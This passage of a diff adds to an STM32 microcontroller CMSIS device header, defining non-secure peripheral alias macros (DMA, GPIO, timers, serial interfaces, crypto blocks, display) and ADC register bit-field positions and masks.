+#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define DCACHE2 DCACHE2_NS +#define DCACHE2_BASE DCACHE2_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + +#define OTFDEC2 OTFDEC2_NS +#define OTFDEC2_BASE OTFDEC2_BASE_NS + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_NS +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_NS + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_NS +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_NS + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_NS +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_NS + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_NS +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#define GFXMMU GFXMMU_NS +#define GFXMMU_BASE GFXMMU_BASE_NS +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_NS + +#define GPU2D GPU2D_BASE_NS + +#define LTDC LTDC_NS +#define LTDC_BASE LTDC_BASE_NS + +#define LTDC_Layer1 LTDC_Layer1_NS +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_NS + +#define LTDC_Layer2 LTDC_Layer2_NS +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_NS + +#define DSI DSI_NS +#define DSI_BASE DSI_BASE_NS + +#define REFBIAS REFBIAS_NS +#define REFBIAS_BASE REFBIAS_BASE_NS + +#define DPHY DPHY_NS +#define DPHY_BASE DPHY_BASE_NS + +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN 